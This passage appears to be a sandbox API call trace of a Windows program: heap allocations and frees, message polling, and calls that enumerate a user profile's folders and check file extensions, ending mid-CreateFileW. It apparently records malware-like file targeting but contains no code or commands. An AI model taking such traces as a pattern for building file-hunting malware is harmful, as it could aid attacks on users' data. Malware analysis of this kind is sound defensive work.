HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0269.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0269.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0269.250] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0269.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0269.250] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0269.250] PathFindFileNameW (pszPath="") returned="" [0269.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.250] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7159a5f0, ftCreationTime.dwHighDateTime=0x1d4cf9e, ftLastAccessTime.dwLowDateTime=0x3c0e48d0, ftLastAccessTime.dwHighDateTime=0x1d4d4e7, ftLastWriteTime.dwLowDateTime=0x3c0e48d0, ftLastWriteTime.dwHighDateTime=0x1d4d4e7, nFileSizeHigh=0x0, nFileSizeLow=0x235f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pCb9pgcYyZh0BJvZP_h.gif", cAlternateFileName="PCB9PG~1.GIF")) returned 0xffffffff [0269.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0269.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.251] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116970 [0269.251] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0269.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.253] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.253] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.254] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.254] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0269.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.255] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.255] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.256] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.257] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.257] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.257] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0269.258] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0269.258] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0269.258] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0269.258] PathFindFileNameW (pszPath="") returned="" [0269.258] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7159a5f0, ftCreationTime.dwHighDateTime=0x1d4cf9e, ftLastAccessTime.dwLowDateTime=0x3c0e48d0, ftLastAccessTime.dwHighDateTime=0x1d4d4e7, ftLastWriteTime.dwLowDateTime=0x3c0e48d0, ftLastWriteTime.dwHighDateTime=0x1d4d4e7, nFileSizeHigh=0x0, nFileSizeLow=0x235f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pCb9pgcYyZh0BJvZP_h.gif", cAlternateFileName="PCB9PG~1.GIF")) returned 0xffffffff [0269.258] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.258] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.258] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0269.258] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0269.258] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0269.258] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0269.258] PathFindFileNameW (pszPath="") returned="" [0269.258] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0269.259] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.259] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0269.259] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned=".ini" [0269.259] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0269.259] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0269.259] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0269.259] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0269.259] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0269.259] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0269.259] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0269.259] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0269.259] PathFindFileNameW (pszPath="") returned="" [0269.259] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0269.260] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.260] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0269.260] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned=".ini" [0269.260] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0269.260] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned=".search-ms" [0269.260] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 